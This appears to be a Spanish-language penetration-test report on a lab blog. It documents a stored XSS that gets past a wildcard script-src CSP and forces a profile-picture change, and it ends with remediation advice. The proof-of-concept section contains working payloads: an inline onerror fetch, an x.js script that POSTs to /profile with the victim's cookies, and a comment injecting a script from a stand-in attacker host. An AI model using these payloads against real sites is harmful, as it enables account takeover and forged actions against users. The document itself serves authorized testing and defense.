🔒 CONFIDENCIAL

Reporte de Vulnerabilidad

XSS almacenado con bypass de CSP por script-src comodín y acción autenticada forzada (cambio de foto de perfil)

ID del Ticket	**VULN-2026-015**
Activo evaluado	**Aplicación web «Blog Hacklab» (Lab Blog Hacklab)**
Severidad	**ALTA** **CVSS v3.1 8.8**
Tipo	**Stored XSS + bypass de CSP (script-src *) — CWE-79 / CWE-693 / CWE-352**
Cliente	**Software Seguro — Laboratorio Blog Hacklab**
Analista	**J. M. F. · jmf01111974@gmail.com**
Fecha del reporte	**10 de noviembre de 2026**
Versión	**1.0**

Contenido

1. Resumen Ejecutivo pág. 2
2. Detalles Técnicos pág. 2
3. Métricas CVSS pág. 4
4. Prueba de Concepto (PoC) pág. 5
5. Recomendaciones de Remediación pág. 7
6. Referencias e Historial pág. 8

Este documento contiene información sensible sobre vulnerabilidades de seguridad. Su distribución está restringida al personal autorizado del cliente. Las pruebas se realizaron sobre un entorno de laboratorio con autorización explícita.

1. Resumen Ejecutivo

> Audiencia: dirección y responsables de negocio. Redactado sin tecnicismos.

¿Qué encontramos?

El blog **guarda los comentarios y los vuelve a mostrar sin neutralizarlos**, por lo que es posible dejar un comentario que contenga código en vez de texto. El sitio tenía una protección del navegador (CSP) que debería frenar eso, pero estaba **configurada de forma tan permisiva que no sirve**: permite cargar código desde **cualquier servidor de Internet**. Aprovechándolo, se logró que, cuando el usuario **pepe** entró al blog, su navegador ejecutara una orden y se le **cambiara la foto de perfil** sin su intervención.

¿Por qué importa para el negocio?

Es un **XSS almacenado**, la variante más peligrosa: queda guardado y afecta a todo el que vea el comentario. Como el código corre en la sesión de la víctima, puede **realizar acciones en su nombre** (aquí se cambió su foto, pero igual de fácil podría cambiar datos, robar su sesión o suplantarla). La protección agregada (CSP) da una **falsa sensación de seguridad** porque está mal configurada. En un entorno real esto implica toma de control de cuentas —incluidas las de administradores— y manipulación de contenido, con el consiguiente daño reputacional, fraude y responsabilidad legal.

¿Qué tan grave es?

Severidad ALTA — CVSS 8.8. La explotación es sencilla: dejar un comentario preparado y lograr que la víctima vea la página. Durante la prueba se dejó un comentario malicioso y, al forzar el ingreso de **pepe**, su navegador ejecutó la acción y se le cambió la foto de perfil, cumpliéndose el objetivo del laboratorio.

¿Qué hay que hacer?

La corrección de fondo es **escapar el contenido de los comentarios** para que no se ejecute código. Además, la CSP no debe permitir cargar scripts desde **cualquier** origen (`*`): debe limitarse a orígenes propios y de confianza. Y las acciones sensibles (como cambiar el perfil) deben exigir **tokens anti-CSRF**.

Riesgo	Probabilidad	Impacto	Urgencia de acción
Ejecución de acciones y toma de cuentas por XSS almacenado, con la CSP anulada por un script-src comodín	Alta	Alto	**Inmediata**

2. Detalles Técnicos

> Audiencia: equipo de desarrollo y administradores de la plataforma.

2.1 Descripción de la vulnerabilidad

El módulo de comentarios almacena el texto enviado y lo renderiza sin **codificación de salida**, habilitando un **Cross-Site Scripting (XSS) almacenado** (CWE-79). El sitio aplica una Content Security Policy, pero con la directiva:

```
Content-Security-Policy: script-src *
```

El comodín `*` **bloquea** los scripts inline y los manejadores de evento inline (por eso un payload clásico `<img src=x onerror="...">` es rechazado), pero **permite cargar y ejecutar scripts externos desde cualquier host** mediante `<script src="https://host-atacante/...">`. Esto anula el valor de la CSP (CWE-693: fallo del mecanismo de protección; A05: configuración de seguridad incorrecta).

Encadenando ambos defectos, el script cargado externamente ejecuta una **acción autenticada en nombre de la víctima**: un `POST /profile` de tipo `multipart/form-data` con `credentials:'include'` que actualiza la foto de perfil (`profile_pic`). Al ejecutarse en la sesión de `pepe`, cambia **su** foto. Es un XSS encadenado con una acción de cambio de estado forzada (patrón CSRF ejecutado desde el propio sitio).

2.2 Flujo del ataque

- El atacante, con cuenta de comentar (`hacklab`), prueba un payload inline y observa que la CSP `script-src *` lo bloquea.
- Reconoce que `*` permite scripts externos, y aloja un `x.js` en un servidor propio.
- Publica un **comentario** con `<script src="https://host-atacante/x.js">`; queda almacenado.
- Fuerza el ingreso de `pepe` (ingeniería social provista por el laboratorio).
- El navegador de `pepe` carga el `x.js` y ejecuta el `POST /profile` con su sesión, subiendo la imagen del atacante como su foto de perfil.

2.3 Clasificación

Categoría	Referencia
Tipo (CWE)	CWE-79 — Cross-site Scripting (Stored) · CWE-693 — Protection Mechanism Failure (CSP inefectiva) · CWE-352 — Cross-Site Request Forgery (acción forzada) · CWE-116 — Improper Encoding or Escaping of Output
Subtipo	Bypass de CSP por `script-src *` (comodín) que permite script externo, habilitando XSS almacenado con acción autenticada
OWASP Top 10 (2021)	A03:2021 — Injection (XSS) · A05:2021 — Security Misconfiguration (CSP mal configurada)
OWASP WSTG	WSTG-INPV-02 — Stored XSS · WSTG-CONF — Content Security Policy
CVE	No aplica (defecto propio de la aplicación/configuración, no de un componente de terceros)

2.4 Activos y alcance afectado

Elemento	Detalle
Aplicación	«Blog Hacklab» (Lab Blog Hacklab)
Host	`chl-<instancia>-blog-hacklab.softwareseguro.com.ar` (el subdominio se asigna por instancia/sesión)
Punto vulnerable	Módulo de comentarios (renderizado sin escapar)
Control eludido	CSP `script-src *` (permite script externo de cualquier origen)
Endpoint de acción	`POST /profile` (`multipart/form-data`; campos `bio`, `profile_pic`; sin anti-CSRF)

Alcance	Ejecución en el contexto/sesión de cualquier usuario que vea el comentario, incluido un administrador

2.5 Causa raíz

Doble defecto. (1) **Causa de fondo**: los comentarios se renderizan sin codificación de salida, permitiendo XSS almacenado. (2) **La mitigación falla**: la CSP usa `script-src *`, un comodín que autoriza scripts desde cualquier host; equivale a no tener restricción de origen para scripts externos. Además, la acción de cambiar el perfil **no exige token anti-CSRF** y la sesión viaja en una cookie enviada automáticamente, por lo que un XSS puede ejecutar acciones autenticadas en nombre de la víctima.

3. Métricas CVSS

Puntuación objetiva y reproducible del riesgo técnico, según CVSS v3.1.

CVSS Base Score	Severidad	Vector
8.8	ALTA	`CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N`

Desglose del vector (métricas base)

Métrica	Valor	Justificación
Attack Vector (AV)	**Network (N)**	Se explota de forma remota a través de Internet (HTTP/HTTPS).
Attack Complexity (AC)	**Low (L)**	La CSP `script-src *` no añade complejidad real: basta con un script externo.
Privileges Required (PR)	**Low (L)**	Se requiere una cuenta con permiso para comentar (p. ej. `hacklab`).
User Interaction (UI)	**Required (R)**	La víctima debe visualizar el comentario almacenado para que el script se ejecute.
Scope (S)	**Changed (C)**	El código se ejecuta en el navegador/sesión de la víctima, un ámbito distinto al del servidor.
Confidentiality (C)	**High (H)**	Posible robo de sesión/cookies y datos de la víctima en el contexto del sitio.
Integrity (I)	**High (H)**	Ejecuta acciones autenticadas en nombre de la víctima (modifica su perfil/foto).
Availability (A)	**None (N)**	No afecta la disponibilidad del servicio.

Nota de criterio: la puntuación coincide con la de un XSS almacenado de alto impacto (8.8) porque la CSP, al usar `script-src *`, **no reduce el riesgo**. Una CSP correctamente acotada (orígenes propios y de confianza, o nonce/hash) elevaría la complejidad del ataque y bajaría el puntaje; aquí no aplica. El hallazgo central es la **inefectividad del control**.

Verificable en la calculadora oficial: https://www.first.org/cvss/calculator/3.1

4. Prueba de Concepto (PoC)

Reproducción paso a paso. Cualquier técnico con una cuenta del laboratorio y un host propio puede replicar el hallazgo.

4.1 Requisitos previos

- Cuenta con permiso para comentar: usuario `hacklab` / clave `hacklab2024`.
- Un servidor propio para alojar el script, accesible por HTTPS y que lo sirva como `text/javascript` (p. ej. un host estático o un túnel sobre `python -m http.server`).
- El mecanismo del laboratorio para que la víctima (`pepe`) visite el blog (ingeniería social provista; no es parte de la vulnerabilidad evaluada).

4.2 Pasos de reproducción

Paso 1 — Confirmar el XSS y el bloqueo de la CSP. Un payload inline es rechazado; la consola revela la directiva.

```
<img src=x onerror="fetch('/profile',{method:'POST',credentials:'include',body:new FormData()})">

# Consola: violación de CSP (script-src-attr) — directiva: script-src *
```

Evidencia 1 — La CSP bloquea el handler inline, pero `script-src *` permite scripts externos.

Paso 2 — Alojar el script de ataque (`x.js`). El script reconstruye una imagen JPEG válida desde base64 y la sube como foto de perfil. Se usa `keepalive:true` para que la petición se complete aun cuando el navegador de la víctima cierre la página rápidamente.

```
// x.js — se sirve desde el host del atacante como text/javascript
var b64 = "/9j/4AAQSkZJRg...<JPEG en base64>...2Q==";
var bin = atob(b64), arr = new Uint8Array(bin.length);
for (var i = 0; i < bin.length; i++) arr[i] = bin.charCodeAt(i);
var img = new Blob([arr], { type: "image/jpeg" });

var fd = new FormData();
fd.append("bio", "None");
fd.append("profile_pic", img, "pepe.jpg");

fetch("/profile", { method: "POST", credentials: "include",
       body: fd, keepalive: true });   // ruta relativa -> origen del lab; cookie de la victima
```

Evidencia 2 — La ruta `/profile` es relativa al documento (origen del lab), no al host del script; `credentials:'include'` envía la cookie de la víctima.

Paso 3 — Inyectar el bypass en un comentario. Se publica un comentario con la etiqueta de script externo, permitida por `script-src *`.

```
<script src="https://host-atacante/x.js"></script>
```

Evidencia 3 — Al visualizar el comentario, el navegador solicita y ejecuta `x.js` (confirmado por el `GET /x.js` en el servidor del atacante): bypass de CSP confirmado.

Paso 4 — Forzar la visita de la víctima. Con la funcionalidad del laboratorio, se hace que `pepe` ingrese (indicando el dominio del desafío, sin path). Su navegador carga el comentario, ejecuta `x.js` y envía el `POST /profile` con su sesión.

Evidencia 4 — El servidor del atacante registra el `GET /x.js` desde el navegador de la víctima; la foto de perfil de `pepe` queda modificada.

Paso 5 — Verificación del impacto. Se confirma que la foto de perfil de `pepe` cambió a la imagen controlada por el atacante y el laboratorio entrega el código de verificación.

```
# Código de verificación obtenido:
#   [completar con el flag entregado por el laboratorio]
```

Evidencia 5 — Objetivo cumplido: se ejecutó una acción autenticada (cambio de foto de perfil) en la sesión de la víctima mediante XSS almacenado + bypass de CSP.

> Nota técnica: dos detalles fueron necesarios para explotar de forma fiable contra el navegador automatizado de la víctima: (1) enviar una **imagen JPEG válida** (un blob arbitrario es rechazado por la validación de imagen), y (2) usar `keepalive:true` para que el `POST` no se cancele al cerrarse la página. El mismo XSS habilita acciones de mayor impacto (robo de sesión, cambios de datos) si la cuenta de la víctima es privilegiada.

4.3 Resultado esperado vs. obtenido

Esperado (sistema seguro)	Obtenido (sistema vulnerable)
Comentarios escapados (sin ejecución) y CSP con orígenes acotados: un `<script src>` externo no autorizado sería bloqueado.	El comentario ejecuta un `<script src>` externo (permitido por *) que cambia la foto de perfil de la víctima.

> ⚠ Nota ética: la PoC se ejecutó únicamente sobre el entorno de laboratorio autorizado. No se atacó la funcionalidad de ingeniería social (provista por el laboratorio) ni se realizaron acciones fuera del objetivo del desafío.

5. Recomendaciones de Remediación

> Audiencia: equipo de desarrollo que implementará la corrección.

5.1 Solución recomendada (prioritaria)

1) Escapar el contenido de los comentarios (corrección de fondo). La CSP es defensa en profundidad, no el arreglo principal: eliminar el XSS codificando la salida.

```
# VULNERABLE: imprime el comentario sin escapar
echo "<div>" . $comentario . "</div>";

# CORREGIDO: escapar la salida a HTML (o usar el autoescapado de la plantilla)
echo "<div>" . htmlspecialchars($comentario, ENT_QUOTES, 'UTF-8') . "</div>";
```

2) Acotar la CSP: nunca `script-src *`. Limitar los scripts a orígenes propios y de confianza, idealmente con `'self'` y nonce/hash por respuesta.

```
# VULNERABLE: permite scripts de cualquier host
Content-Security-Policy: script-src *

# CORREGIDO: solo el propio origen (+ nonce aleatorio por respuesta para inline legitimo)
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-<aleatorio>'; object-src
'none'; base-uri 'none'
```

3) Tokens anti-CSRF en las acciones de cambio de estado. `/profile` (y toda acción que modifique datos) debe exigir un token anti-CSRF validado en el servidor.

5.2 Defensa en profundidad

- **Cookies con `HttpOnly`**, `Secure` y `SameSite` (limita robo de sesión y peticiones forzadas).
- **Validación de subidas**: verificar el tipo y contenido real de la imagen y limitar tamaño/formatos.
- **Saneamiento** con allow-list (DOMPurify) si se permite formato enriquecido en comentarios.
- **Cabeceras de seguridad** complementarias (`X-Content-Type-Options: nosniff`, etc.).
- **Revisión de todos los puntos** que almacenan y muestran contenido de usuario (XSS almacenado, reflejado y DOM).

5.3 Plan de acción

Acción	Responsable	Prioridad	Plazo	Estado
Escapar la salida de los comentarios (corrección de fondo del XSS)	Equipo de desarrollo	Crítica	Inmediato	Pendiente
Acotar la CSP (eliminar `script-src *`; usar 'self' + nonce)	Desarrollo / Infraestructura	Crítica	Inmediato	Pendiente
Tokens anti-CSRF y cookies HttpOnly/Secure/SameSite	Equipo de desarrollo	Alta	7–15 días	Pendiente
Validación de subidas de imagen y revisión de reflejos de entrada	Desarrollo / SecOps	Alta	15–30 días	Pendiente
	QA / Seguridad	Alta	Con el fix	Pendiente

Test de regresión (payload de script externo = bloqueado) y re-test				

5.4 Verificación (re-test)

Confirmar que el contenido de comentarios se renderiza escapado (un `<script>` se muestra como texto), que la CSP **rechaza** un `<script src>` de un origen no autorizado, y que `/profile` exige token anti-CSRF válido. Verificar que el comentar y la actualización legítima de perfil siguen funcionando.

> ✔ Criterio de cierre: el ticket se marca como *Cerrado* cuando el re-test confirma que el XSS ya no se ejecuta, que la CSP bloquea scripts externos no autorizados y que las acciones de estado exigen anti-CSRF, sin regresiones en la funcionalidad legítima.

6. Referencias e Historial

Referencias

- OWASP Top 10 (2021) — A03 Injection: https://owasp.org/Top10/A03_2021-Injection/
- OWASP Top 10 (2021) — A05 Security Misconfiguration: https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
- CWE-79 — Cross-site Scripting: https://cwe.mitre.org/data/definitions/79.html
- CWE-693 — Protection Mechanism Failure: https://cwe.mitre.org/data/definitions/693.html
- CWE-352 — Cross-Site Request Forgery (CSRF): https://cwe.mitre.org/data/definitions/352.html
- OWASP — Cross Site Scripting Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- OWASP — Content Security Policy Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
- CVSS v3.1 Calculator (FIRST): https://www.first.org/cvss/calculator/3.1

Historial de cambios

Versión	Fecha	Autor	Cambio
1.0	2026-11-10	J. M. F.	Creación del reporte: XSS almacenado + bypass de CSP por script-src comodín, con cambio forzado de foto de perfil en la sesión de la víctima.

🔒 Documento confidencial — uso interno / cliente autorizado únicamente. Las pruebas se realizaron en un entorno de laboratorio con autorización explícita.